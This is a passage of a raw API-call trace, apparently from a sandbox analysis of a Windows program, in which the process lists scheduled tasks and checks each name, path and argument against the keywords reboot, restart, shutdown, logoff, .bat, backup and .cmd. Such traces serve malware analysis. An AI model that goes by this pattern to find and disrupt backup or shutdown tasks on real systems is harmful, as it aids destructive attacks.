varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0221.243] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Consolidator") returned 0x0 [0221.243] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.244] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.244] IUnknown:Release (This=0x2463648) returned 0x0 [0221.244] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e78) returned 0x0 [0221.244] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.244] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.244] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.245] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.245] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.245] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.245] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2465ed8) returned 0x0 [0221.245] IRegisteredTask:get_Name (in: This=0x2465ed8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ScheduledDefrag") returned 0x0 [0221.245] IRegisteredTask:get_State (in: This=0x2465ed8, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f4178 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr="reboot") returned 0x0 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr="restart") returned 0x0 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr="shutdown") returned 0x0 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr="logoff") returned 0x0 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr=".bat") returned 0x0 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr="backup") returned 0x0 [0221.247] wcsstr (_Str="scheduleddefrag", _SubStr=".cmd") returned 0x0 [0221.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4178) returned 1 [0221.247] IRegisteredTask:get_Definition (in: This=0x2465ed8, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f20) returned 0x0 [0221.254] ITaskDefinition:get_Actions (in: This=0x2465f20, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2465f98) returned 0x0 [0221.254] IActionCollection:get_Count (in: This=0x2465f98, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.254] IActionCollection:get_Item (in: This=0x2465f98, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.254] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.254] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.254] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\defrag.exe") returned 0x0 [0221.254] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c29c8 [0221.254] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="reboot") returned 0x0 [0221.254] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="restart") returned 0x0 [0221.255] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="shutdown") returned 0x0 [0221.255] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="logoff") returned 0x0 [0221.255] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".bat") returned 0x0 [0221.255] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="backup") returned 0x0 [0221.255] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".cmd") returned 0x0 [0221.255] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c29c8) returned 1 [0221.255] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-c") returned 0x0 [0221.255] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8988 [0221.255] wcsstr (_Str="-c", _SubStr="reboot") returned 0x0 [0221.255] wcsstr (_Str="-c", _SubStr="restart") returned 0x0 [0221.255] wcsstr (_Str="-c", _SubStr="shutdown") returned 0x0 [0221.255] wcsstr (_Str="-c", _SubStr="logoff") returned 0x0 [0221.255] wcsstr (_Str="-c", _SubStr=".bat") returned 0x0 [0221.255] wcsstr (_Str="-c", _SubStr="backup") returned 0x0 [0221.255] wcsstr (_Str="-c", _SubStr=".cmd") returned 0x0 [0221.255] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8988) returned 1 [0221.255] IUnknown:Release (This=0x2463748) returned 0x2 [0221.255] IUnknown:Release (This=0x2463748) returned 0x1 [0221.255] IUnknown:Release (This=0x2465f98) returned 0x1 [0221.255] IUnknown:Release (This=0x2465f20) returned 0x0 [0221.256] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.256] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.256] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e78) returned 0x0 [0221.259] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.259] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.259] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.259] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.259] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.260] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.260] IUnknown:Release (This=0x2463648) returned 0x0 [0221.260] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2465ed8) returned 0x0 [0221.260] ITaskFolderCollection:get_Count (in: This=0x2465ed8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.260] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.260] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.260] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.260] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.261] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.261] IUnknown:Release (This=0x2463648) returned 0x0 [0221.261] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e78) returned 0x0 [0221.262] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.262] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.262] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.262] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.262] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.262] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.262] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2465ed8) returned 0x0 [0221.262] IRegisteredTask:get_Name (in: This=0x2465ed8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Notifications") returned 0x0 [0221.262] IRegisteredTask:get_State (in: This=0x2465ed8, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.264] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3d40 [0221.264] wcsstr (_Str="notifications", _SubStr="reboot") returned 0x0 [0221.264] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0 [0221.264] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0 [0221.264] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0 [0221.264] wcsstr (_Str="notifications", _SubStr=".bat") returned 0x0 [0221.264] wcsstr (_Str="notifications", _SubStr="backup") returned 0x0 [0221.264] wcsstr (_Str="notifications", _SubStr=".cmd") returned 0x0 [0221.264] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d40) returned 1 [0221.264] IRegisteredTask:get_Definition (in: This=0x2465ed8, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f20) returned 0x0 [0221.268] ITaskDefinition:get_Actions (in: This=0x2465f20, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2465f98) returned 0x0 [0221.268] IActionCollection:get_Count (in: This=0x2465f98, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.268] IActionCollection:get_Item (in: This=0x2465f98, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0221.268] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.268] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0221.268] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\System32\\LocationNotifications.exe") returned 0x0 [0221.268] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6d9258 [0221.268] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="reboot") returned 0x0 [0221.269] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="restart") returned 0x0 [0221.269] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="shutdown") returned 0x0 [0221.269] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="logoff") returned 0x0 [0221.269] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".bat") returned 0x0 [0221.269] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="backup") returned 0x0 [0221.269] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".cmd") returned 0x0 [0221.269] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0221.269] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0221.269] IUnknown:Release (This=0x2463708) returned 0x2 [0221.269] IUnknown:Release (This=0x2463708) returned 0x1 [0221.269] IUnknown:Release (This=0x2465f98) returned 0x1 [0221.269] IUnknown:Release (This=0x2465f20) returned 0x0 [0221.269] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.269] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.269] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.270] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.270] IUnknown:Release (This=0x2466400) returned 0x0 [0221.270] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.270] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.270] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.270] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.271] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.271] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="WinSAT") returned 0x0 [0221.271] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.272] IUnknown:Release (This=0x2466490) returned 0x0 [0221.272] IUnknown:Release (This=0x2463648) returned 0x0 [0221.272] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466448) returned 0x0 [0221.273] ITaskFolderCollection:get_Count (in: This=0x2466448, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.273] IUnknown:Release (This=0x2466448) returned 0x0 [0221.273] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.273] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.273] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.276] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=21) returned 0x0 [0221.276] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.276] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ActivateWindowsSearch") returned 0x0 [0221.276] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.278] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab78 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr="reboot") returned 0x0 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr="restart") returned 0x0 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr="shutdown") returned 0x0 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr="logoff") returned 0x0 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr=".bat") returned 0x0 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr="backup") returned 0x0 [0221.278] wcsstr (_Str="activatewindowssearch", _SubStr=".cmd") returned 0x0 [0221.278] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab78) returned 1 [0221.278] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.282] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.282] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.282] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.283] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.283] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.283] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.283] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.283] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.283] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.283] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoActivateWindowsSearch") returned 0x0 [0221.283] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr="reboot") returned 0x0 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr="restart") returned 0x0 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr="shutdown") returned 0x0 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr="logoff") returned 0x0 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".bat") returned 0x0 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr="backup") returned 0x0 [0221.283] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".cmd") returned 0x0 [0221.283] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.283] IUnknown:Release (This=0x2463788) returned 0x2 [0221.283] IUnknown:Release (This=0x2463788) returned 0x1 [0221.283] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.283] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.283] IUnknown:Release (This=0x2466490) returned 0x0 [0221.283] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.283] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigureInternetTimeService") returned 0x0 [0221.283] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.285] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c29c8 [0221.285] wcsstr (_Str="configureinternettimeservice", _SubStr="reboot") returned 0x0 [0221.285] wcsstr (_Str="configureinternettimeservice", _SubStr="restart") returned 0x0 [0221.285] wcsstr (_Str="configureinternettimeservice", _SubStr="shutdown") returned 0x0 [0221.285] wcsstr (_Str="configureinternettimeservice", _SubStr="logoff") returned 0x0 [0221.285] wcsstr (_Str="configureinternettimeservice", _SubStr=".bat") returned 0x0 [0221.285] wcsstr (_Str="configureinternettimeservice", _SubStr="backup") returned 0x0 [0221.286] wcsstr (_Str="configureinternettimeservice", _SubStr=".cmd") returned 0x0 [0221.286] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c29c8) returned 1 [0221.286] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.290] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.290] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.290] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.290] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.290] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.290] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.290] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.290] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.290] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoConfigureInternetTimeService") returned 0x0 [0221.290] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c29c8 [0221.290] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="reboot") returned 0x0 [0221.290] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="restart") returned 0x0 [0221.290] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="shutdown") returned 0x0 [0221.291] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="logoff") returned 0x0 [0221.291] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".bat") returned 0x0 [0221.291] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="backup") returned 0x0 [0221.291] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".cmd") returned 0x0 [0221.291] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c29c8) returned 1 [0221.291] IUnknown:Release (This=0x2463788) returned 0x2 [0221.291] IUnknown:Release (This=0x2463788) returned 0x1 [0221.291] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.291] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.291] IUnknown:Release (This=0x2466490) returned 0x0 [0221.291] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.291] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="DispatchRecoveryTasks") returned 0x0 [0221.291] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.292] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab78 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr="reboot") returned 0x0 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr="restart") returned 0x0 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr="shutdown") returned 0x0 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr="logoff") returned 0x0 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".bat") returned 0x0 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr="backup") returned 0x0 [0221.292] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".cmd") returned 0x0 [0221.293] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab78) returned 1 [0221.293] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.297] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.297] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.297] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.297] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.297] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.297] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.297] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.297] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.297] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.297] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.297] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.297] wcsstr 